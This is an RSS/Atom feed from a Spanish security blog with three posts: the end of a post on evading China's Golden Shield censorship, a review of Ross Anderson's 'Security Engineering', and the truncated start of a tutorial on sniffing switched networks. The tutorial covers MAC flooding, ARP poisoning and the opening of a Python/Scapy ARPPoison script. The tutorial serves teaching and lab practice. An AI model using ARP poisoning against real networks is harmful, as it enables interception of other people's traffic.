italic;"&gt;Falung Gong&lt;/span&gt; (organización opositora) o &lt;span style="font-style: italic;"&gt;Taiwan &lt;/span&gt;(nación no reconocida por China). En caso de que aparezcan este tipo de palabras, el Escudo Dorado manda un paquete de TCP reset a ambos extremos para finalizar la conexión.&lt;br /&gt;&lt;br /&gt;El segundo nivel del Escudo Dorado se dedica a la inspección a nivel de aplicación, denegando una lista determinada de servicios. Que el servicio de una empresa esté o no en la lista negra depende en muchos casos de su docilidad con el ŕegimen. En el caso de Google, estos tuvieron que crear un índice especial para China formado por &lt;span style="font-style: italic;"&gt;spiders&lt;/span&gt; con base en el país, de manera que sólo se indexase lo que permitiese el Escudo Dorado. La transigencia con este régimen de compañías como Cisco o Google, con sedes en países democráticos, sólo se explica por el jugoso mercado que supone una China con miles de millones de potenciales consumidores.&lt;br /&gt;&lt;br /&gt;El tercer nivel es social. Miles de censores se sientan delante de ordenadores situados en plantas industriales para examinar manualmente el correo electrónico interceptado por el Escudo Dorado, así como para evaluar la conveniencia política de los artículos de las webs chinas. Hasta se han creado dos mascotas, &lt;a href="http://en.wikipedia.org/wiki/Jingjing_and_Chacha"&gt;Chacha y Jingjing&lt;/a&gt;, cuyo fin es aparecer regularmente en las páginas intervenidas por el Escudo Dorado para intimidar a los usuarios recordándoles que la policía política vigila Internet.&lt;br /&gt;&lt;br /&gt;Paradójicamente, es relativamente fácil escabullirse del sistema aunque se requiere una poderosa razón para hacerlo ya que un único fallo puede atraer la atención de la temida policía política.&lt;br /&gt;&lt;br /&gt;El cifrado puede ocultar la naturaleza de la información intercambiada aunque, en teoría, puede atraer atención (la policía pensará "si cifra tráfico es que hay algo que quiere ocultar"). Sin embargo, en la práctica, la represión generalizada del tráfico cifrado no resulta factible al ser uno de los pilares del comercio electrónico crucial para el crecimiento económico de China. Por eso, la combinación de técnicas de cifrado con otras de anonimización que eviten las listas negras de direcciones de IP deberían ser suficientes para superar las tres barreras del Escudo Dorado.&lt;br /&gt;&lt;br /&gt;El uso de proxies puede evitar el filtrado por IP destino, y si además se combina con cifrado HTTPS se anula el filtrado por palabras prohibidas. Este es el enfoque de herramientas como &lt;a href="http://www.ultrareach.com/"&gt;UltraSurf&lt;/a&gt; o &lt;a href="http://www.dit-inc.us/freegate"&gt;Freegate&lt;/a&gt; que utilizan una lista variable de proxies abiertos en Internet para anonimizar el destino de las conexiones de sus usuarios y ocultando el contenido de dichas conexiones mediante cifrado.&lt;br /&gt;&lt;br /&gt;Otra opción es el llamado &lt;a href="http://en.wikipedia.org/wiki/Onion_routing"&gt;Onion Routing&lt;/a&gt;, cuyo más célebre exponente es la herramienta &lt;a href="https://www.torproject.org/"&gt;Tor&lt;/a&gt;, el cual permite tunelar de manera cifrada el tráfico a través de una lista variable de servidores intermedios. La ventaja de Tor frente a otras opciones es que, bien configurado, puede anonimizar no sólo la dirección IP de destino del tráfico sino también la dirección IP de origen. En un futuro artículo explicaré con detalle el funcionamiento de esta poderosa herramienta.&lt;br /&gt;&lt;br /&gt;El cifrado mediante SSH o VPN-IPSec es otra opción a la hora de blindar el tráfico frente a inspecciones indeseadas, aunque en este caso habría que buscar una manera de anonimizar la IP de origen y la de destino para evitar engrosar a la larga la lista negra del primer nivel del Escudo.&lt;br /&gt;&lt;br /&gt;Y todo ello sin tener en cuenta otras técnicas, como el uso de canales encubiertos mediante esteganografía. Y es que el Escudo Dorado es incapaz de detectar mensajes escondidos en imágenes o sonidos, tarea que requeriría unos recursos computacionales y humanos imposibles de aplicar al tráfico generado por 137 millones de personas.&lt;br /&gt;&lt;br /&gt;Todo ello demuestra que a la hora de la verdad el Escudo Dorado ha sido más bien una medida propagandística desesperada que ha intentado "poner puertas al campo" y que quizás marque el comienzo del fin de un régimen tiránico y genocida.&lt;br /&gt;&lt;iframe style="position: absolute; display: block; opacity: 0.7; z-index: 500; width: 21px; height: 23px; top: 1295px; right: 100px;" src="http://www.google.com/notebook/static_files/blank.html" id="gnotes-notemagic" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-6756089277355464098?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gNRJMyRFpzbTkTFM0ODv3jq-YDg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gNRJMyRFpzbTkTFM0ODv3jq-YDg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gNRJMyRFpzbTkTFM0ODv3jq-YDg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gNRJMyRFpzbTkTFM0ODv3jq-YDg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/YP8Ju8VLYyg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/6756089277355464098/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=6756089277355464098" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6756089277355464098?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6756089277355464098?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/YP8Ju8VLYyg/el-escudo-dorado.html" title="El Escudo Dorado" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SXytb-xRJGI/AAAAAAAAAJ4/o6-cZo4kVqQ/s72-c/800px-Great_wall_of_china-mutianyu_4.JPG" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2009/01/el-escudo-dorado.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEIMRXgyfip7ImA9WxVRGEk.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-11062893615453922</id><published>2009-01-24T15:36:00.005+01:00</published><updated>2009-01-25T01:16:24.696+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T01:16:24.696+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="libros" /><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><title>Security Engineering</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SXsxxVphuUI/AAAAAAAAAIg/nJcgBRc6jPo/s1600-h/book2coversmall.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 172px; height: 208px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SXsxxVphuUI/AAAAAAAAAIg/nJcgBRc6jPo/s400/book2coversmall.jpg" alt="" id="BLOGGER_PHOTO_ID_5294880510598822210" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;El &lt;a href="http://www.amazon.com/Security-Engineering-Building-Dependable-Distributed/dp/0470068523/ref=pd_bbs_sr_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1232808166&amp;amp;sr=8-1"&gt;&lt;span style="font-style: italic;"&gt;Security Engineering&lt;/span&gt;&lt;/a&gt; de Ross Anderson es con toda probabilidad el mejor libro sobre seguridad que he leido hasta la fecha.&lt;br /&gt;&lt;br /&gt;A diferencia de otras obras que adoptan un punto de vista meramente tecnológico, Anderson prefiere centrarse en el plano conceptual estableciendo los distintos principios que deben guiar a un ingeniero de seguridad en las diferentes disciplinas de su actividad. Por eso no habla de ninguna marca específica de cortafuegos ni de ningún lenguaje de programación o sistema operativo concreto, sino de los errores y aciertos de diseño que se han dado a lo largo de la historia de las tecnologías de la información y las comunicaciones. Esto resulta tremendamente enriquecedor ya que la publicidad de los fabricantes de herramientas de seguridad mantiene vivo el mito de que basta con invertir ingentes cantidades de dinero en la última tecnología para asegurar de manera efectiva los activos. Sin embargo Anderson insiste en que la tecnología es una mera herramienta al servicio de un análisis y planificación adecuados, frutos de una mentalidad basada en principios globales e independientes del estado del arte tecnológico del momento.&lt;br /&gt;&lt;br /&gt;A lo largo de la obra se analizan estos principios, aplicados a las distintas áreas de la seguridad y se van contrastando con casos históricos. Así, se cubren temas tan dispares e interesantes como la psicología, la usabilidad, la criptografía, las políticas de control de acceso a la información, el impacto de los factores económicos en la seguridad, los controles de integridad, la seguridad en entornos multilaterales (aquellos en los que se comparten activos con otras organizaciones), la propiedad intelectual o el terrorismo, entre un largo etcetera.&lt;br /&gt;&lt;br /&gt;La larga experiencia del autor ilustra el libro de interesantísimos ejemplos y aportes históricos tanto del mundo de la banca, como del militar y del espionaje (que son, al fin y al cabo los grandes impulsores históricos del mundo de la seguridad). Entre estos ejemplos se describen desde la evolución de los sistemas IFF (Identify-Friend-or-Foe), a las organizaciones de las redes de mando y control militar; desde los sistemas de control del armado de los misiles nucleares a lo largo de la historia, hasta los avances en las investigaciones para espiar aparatos electrónicos en función de sus emisiones electromagnéticas.&lt;br /&gt;&lt;br /&gt;Además, la vida útil del libro es muy larga, dada la vigencia a través del tiempo de las materias que trata, por lo que  no es de esos libros de seguridad que a los dos años se han quedado tan antiguos que acaban en la papelera.&lt;br /&gt;&lt;br /&gt;Todo ello hace de &lt;span style="font-style: italic;"&gt;Security Engineering&lt;/span&gt; un libro imprescindible para cualquier ingeniero de seguridad y una inversión que realmente merece hasta el último céntimo de lo que vale.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-11062893615453922?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7NZnQ1AEBRilQRuR_1YDW_l3fOI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7NZnQ1AEBRilQRuR_1YDW_l3fOI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7NZnQ1AEBRilQRuR_1YDW_l3fOI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7NZnQ1AEBRilQRuR_1YDW_l3fOI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/2D4Vihq2xpQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/11062893615453922/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=11062893615453922" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/11062893615453922?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/11062893615453922?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/2D4Vihq2xpQ/security-engineering.html" title="Security Engineering" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/SXsxxVphuUI/AAAAAAAAAIg/nJcgBRc6jPo/s72-c/book2coversmall.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2009/01/security-engineering.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUASHk7fip7ImA9WxVTFkk.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-8416607125741608878</id><published>2008-12-19T19:48:00.028+01:00</published><updated>2008-12-30T14:37:29.706+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-30T14:37:29.706+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="protocolos" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualización" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Escuchas en redes conmutadas</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SVjZSyHTTaI/AAAAAAAAAHY/KDVON40bvdQ/s1600-h/1360_230_160_crop_b7e26.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 226px; height: 156px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SVjZSyHTTaI/AAAAAAAAAHY/KDVON40bvdQ/s400/1360_230_160_crop_b7e26.jpg" alt="" id="BLOGGER_PHOTO_ID_5285213079432547746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Como los mayores del lugar recordarán, las redes de antaño se basaban en infraestructuras montadas a base de repetidores, también denominados hubs. Estos se comportaban enviando por todos sus puertos los datos que se recibiese por cualquiera de ellos. Los repetidores eran aparatos muy sencillos y carecían de lógica programada alguna. Consistían simplemente en un puenteado físico entre todos los puertos para asegurar que la señal que se recibiese por un puerto se repitiese por el resto. Esta sencillez tenía un precio y era lo reducido del rendimiento de las redes basadas en estos dispositivos ya que se creaba un único dominio de colisión, es decir ningún equipo de la red podía transmitir si lo estaba haciendo otro en ese momento. Además, las escuchas en este tipo de redes eran realmente sencillas ya que era el interfaz de cada equipo el que descartaba el tráfico que no le atañía, por lo que para escuchar toda la información que se cruzase por la red sólo había que poner el interfaz en modo promíscuo.&lt;br /&gt;&lt;br /&gt;Con el tiempo, las redes evolucionaron al siguiente nivel y pasaron a utilizar conmutadores (en inglés switches). Estos dispositivos se diferencian de los anteriores en que disponen de lógica interna que les permite sacar los datos sólo por el puerto por el que se conecta su destinatario. Esto tiene una ventaja fundamental y es que mejora el rendimiento de las redes al dividirlas en múltiples dominios de colisión (uno por puerto). Sin embargo, aún hay gente que cree equivocadamente que el uso de conmutadores también evita las escuchas. Nada más lejos de la verdad. Si bien las escuchas no son tan sencillas como pasaba en las redes basadas en repetidores, se pueden seguir efectuando a partir de una serie de técnicas asequibles para cualquiera bien informado. A lo largo de este artículo repasaremos estas técnicas.&lt;br /&gt;&lt;br /&gt;Para empezar es necesario que el lector entienda cómo funcionan los conmutadores. Todo dispositivo de red cuenta con una dirección IP que le identifica a lo largo y ancho de Internet y que permite que otros dispositivos se comuniquen con él. Sin embargo, esto permite que el paquete viaje hasta "el último salto" donde lo que se utiliza es el protocolo &lt;a href="http://es.wikipedia.org/wiki/Address_Resolution_Protocol"&gt;ARP&lt;/a&gt; (Address Resolution Protocol) para llegar al equipo destino.&lt;br /&gt;&lt;br /&gt;Imaginemos dos dispositivos (A y B) que se encuentran en la misma red y que tienen direcciones del mismo rango de direccionamiento, ¿cómo se comunicarían entre sí?. Ambos conocen la dirección IP del otro, pero al estar ambos en el mismo rango de direccionamiento ya no hay enrutamiento que valga, por lo que tiene que entrar en juego la capa 2. Es decir, los interfaces de red de ambos dispositivos deben hablar entre sí. Para ello, todos los interfaces de red cuentan con una dirección en principio inalterable y única, que les viene asignada de fábrica y que se denomina MAC. Esto es la teoría, en la práctica el sistema operativo suele dar la opción de "forzar" una dirección MAC a nuestra elección, aunque es realmente raro que se haga uso de esta posibilidad. Los interfaces de red se comunican con otros interfaces de red de su mismo rango utilizando las direcciones MAC. Cuando A se quiere comunicar con B sólo cuenta con la dirección IP de  por lo que debe hacer uso de un protocolo llamado ARP, del que se hablará más adelante, para averiguar cual es la dirección MAC de B. Una vez que A tiene la MAC de B manda un paquete de datos cuyo destinatario es precisamente la MAC de B. El conmutador que da servicio a A y a B envía el paquete sólo por el puerto al que se conecta B porque mantiene una tabla interna con las MAC que "cuelgan" de cada puerto. El interfaz de red de B, al recibir un paquete cuyo destinatario es su propia MAC, asume que el paquete le corresponde y lo escala a las capas superiores del equipo.&lt;br /&gt;&lt;br /&gt;En principio el esquema parece seguro ya que los paquetes sólo llegan a sus legítimos destinatarios. El problema es que su implementación práctica suele abrir dos vías de ataque.&lt;br /&gt;&lt;br /&gt;La primera vía de ataque hace referencia a la mencionada tabla interna que guardan los conmutadores. Los elementos de esta tabla son las MACs alcanzables por cada uno de los puertos. Para poblar esta tabla, el conmutador espera a que le vayan llegando paquetes. Cuando esto ocurre, el conmutador toma nota en su tabla del puerto por el que se ha recibido el paquete y la MAC del remitente del paquete. Una vez hecho esto, el conmutador mira cual es la MAC destinataria del paquete, consulta su tabla a ver si ya tiene registrada la localización de esa MAC y cuando la encuentra manda el paquete por el puerto apropiado. ¿Qué pasa si la MAC destino del paquete no consta en la tabla del conmutador? pues que este pasa a comportarse como un repetidor y reenvía ese paquete concreto por todos sus puertos. En realidad, este comportamiento  sólo se da en los primeros minutos de funcionamiento del conmutador ya que si la red es medianamente activa en poco tiempo habrán emitido paquetes todos los elementos de la red (ya sea por inicios de conexión o por respuesta a paquetes) permitiendo que el conmutador los vaya "fichando" en su tabla.&lt;br /&gt;&lt;br /&gt;A un atacante, lo que le gustaría es que el conmutador funcionase en modo repetidor cuando quisiera realizar una escucha. Para ello lo que tendrá que hacer es asegurarse de que el conmutador nunca encuentra las MACs de destino en su tabla. Esto nos lleva al primer tipo de ataque: el de inundación de la tabla del conmutador (&lt;span style="font-style: italic;"&gt;mac flooding&lt;/span&gt;). En este ataque el intruso emitiría masivamente paquetes con MACs de origen ficticias. El destino y la naturaleza de estos paquetes no sería importante, aquí lo importante es que el conmutador fuese llenando su tabla con MACs inexistentes hasta agotar todo la memoria disponible, cuando eso ocurriese comenzaría a funcionar como repetidor al ser incapaz de encontrar las MACs de destino efectivas en su tabla atiborrada de basura. Este ataque era factible con los primeros conmutadores que salieron al mercado, ya que eran dispositivos poco potentes y apenas depurados. Sin embargo, en la actualidad los conmutadores cuentan con potencia suficiente como para evitar que un sólo PC les llene la tabla de MACs. Se trata por tanto de una carrera que el atacante difícilmente puede ganar. Además, este ataque es bastante indiscreto ya que degrada el rendimiento de la red de una manera tan llamativa que antes o después el administrador acabará accediendo al conmutador a ver qué le ocurre, se percatará del estado de la tabla de MACs y se imaginará que se está produciendo un ataque.&lt;br /&gt;&lt;br /&gt;La segunda vía de ataque tiene que ver con la manera con la que los dispositivos de red averiguan la MAC del equipo con el que quieren hablar. Si un equipo con dirección IP A quiere hablar con otro de su mismo rango con dirección IP B usará el protocolo ARP para obtener la MAC de B. Básicamente lo que A hará es emitir un "ARP request" en el que preguntará a todos los equipos de su red: ¿cual es la MAC del equipo con dirección IP B?. El equipo B escuchará la pregunta y responderá con un "ARP reply": "yo soy el equipo con dirección IP B y mi MAC es esta". Una vez obtenida la MAC, A ya puede crear los paquetes de datos destinados a B. El equipo A guardará una tabla (la tabla de ARP) con las equivalencias ARP que vaya averiguando para no tener que preguntar por las MACs de las mismas direcciones IP una y otra vez. Hasta ahí todo bien, pero existe un tipo de paquete ARP denominado "update" que sirve para que B pueda tomar la iniciativa de actualizar su entrada en la tabla de ARP de A. ¿Para qué iba B a hacer esto?, ¿no hemos dicho que la MAC no suele cambiar?, es una buena pregunta que no tiene una respuesta fácil. Hay quien argumenta que este mecanismo se hizo para minimizar el impacto que supone para un equipo cambiar de dirección de IP en redes gestionadas por un servidor de DHCP, otros argumentan que no es sino otro de los agujeros de diseño de los protocolos que sustentan Internet, más pensados en la funcionalidad que en la seguridad. Lo cierto es que estas actualizaciones de la tabla de ARP suponen un vector de ataque gravísimo y muy difícil de detectar y da lugar a los llamados ataques de &lt;span style="font-style: italic;"&gt;ARP Poisoning&lt;/span&gt; o envenenamiento ARP.&lt;br /&gt;&lt;br /&gt;La idea del ARP Poisoning es la siguiente, supongamos que A y B están intercambiando paquetes en el transcurso de una conversación. La tabla de ARP de A contendrá el siguiente registro: IPb-MACb. A la inversa, la tabla de ARP de B contendrá el siguiente registro referente a A: IPa-MACa. Si un atacante C quisiera escuchar las comunicaciones entre A y B sólo tendría que enviarle a A el siguiente ARP update: IPb-MACc; y a B: IPa-MACc. De esta manera C engañaría a A haciendole creer que para llegar a B lo que debe hacer es destinar los paquetes... ¡a la MAC de C! (y viceversa para el caso de B). El efecto sería que C recibiría todos los paquetes que intercambiasen A y B, independientemente de que estos se interconecten mediante un conmutador. A partir de ahí, una vez escuchados los paquetes, C sólo tiene  que reenviar los paquetes a su legítimos destinatarios para que estos no detecten el engaño. Este ataque funciona y es muy difícil de evitar. Como mucho se pueden forzar determinadas entradas de la tabla de ARP para que no cambien o que si lo hacen alerten al administrador. Es el caso de la aplicación &lt;a href="http://www.securityfocus.com/tools/142"&gt;ARPWatch&lt;/a&gt;, aplicación que vigila la tabla de ARP y alerta cuando una dirección IP pasa a ser usada por una MAC diferente, cosa que como hemos visto puede ser un síntoma de ARP Poisoning.&lt;br /&gt;&lt;br /&gt;Herramientas como &lt;a href="http://ettercap.sourceforge.net/"&gt;Ettercap&lt;/a&gt; o &lt;a href="http://www.oxid.it/cain.html"&gt;Cain&amp;amp;Abel&lt;/a&gt; incluyen este tipo de técnicas para realizar escuchas. En &lt;a href="http://danteslab.blogspot.com/2008/10/creacin-de-laboratorios-virtuales-con.html"&gt;uno de mis artículos&lt;/a&gt; sobre creación de laboratorios virtuales se desarrolló una maqueta de una red conmutada para hacer pruebas de escuchas con ettercap. Esta maqueta se puede descargar desde &lt;a href="http://danteslab-files.googlecode.com/files/lab_sniffing_sw.tar.gz"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;De todos modos, para los que prefieren el modo de vida samurai y construirse sus propias herramientas, se pueden programar estas técnicas de manera rápida y sencilla con Python y la librería Scapy (ambos elementos recurrentes en mis artículos). En la maqueta mencionada anteriormente (concretamente en la carpeta /root/scripts del PC-Sniffer) hay un script llamado ARPPoison, programado por mi para sistemas Linux, para ensayar la técnica del envenenamiento ARP.&lt;br /&gt;&lt;br /&gt;La estructura de ARPPoison es muy sencilla:&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);"&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;##&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;# PROGRAMA&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;##&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;__name__&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; == &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"__main__"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    parseArguments()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    checkEnvironment()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    gatherData()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Comienza el ataque. Para pararlo pulse Control-C..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;try&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;while&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            doARPPoisonAttack()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            time.sleep(WAITING_TIME)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;except&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(5, 77, 0);font-size:78%;" &gt;&lt;b&gt;KeyboardInterrupt&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Ataque finalizado, borrando huellas de las caches..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        repairARPCaches()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Caches reparadas."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Devolviendo a su sistema a la normalidad..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        cleanThings()&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Hecho."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"�Que tenga un buen dia!"&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;  &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 128, 224);font-size:78%;" &gt;\n&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;La función &lt;span style="font-weight: bold;"&gt;parseArguments&lt;/span&gt; se limita a tratar los parámetros introducidos por el usuario (las dos direcciones IP a las que hay que interceptar).&lt;br /&gt;&lt;br /&gt;La siguiente función, &lt;span style="font-weight: bold;"&gt;checkEnvironment&lt;/span&gt;, se asegura de que nuestro sistema tiene activado el IP_Forwarding, esencial para devolver los paquetes interceptados a sus legítimos destinatarios después de realizar la escucha.&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(20, 19, 18);"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; checkEnvironment():&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 